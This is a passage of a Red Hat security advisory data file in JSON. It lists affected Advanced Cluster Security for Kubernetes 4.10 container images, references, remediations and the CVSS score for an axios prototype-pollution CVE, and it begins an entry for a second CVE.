"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42264"
},
{
"category": "external",
"summary": "RHBZ#2467927",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467927"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42264",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42264"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42264",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42264"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa",
"url": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/pull/10779",
"url": "https://github.com/axios/axios/pull/10779"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/releases/tag/v1.15.2",
"url": "https://github.com/axios/axios/releases/tag/v1.15.2"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj",
"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
}
],
"release_date": "2026-05-08T03:20:24.248000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Prototype pollution allows information disclosure and request manipulation"
},
{
"cve": "CVE-2026-44486",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:30.944384+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
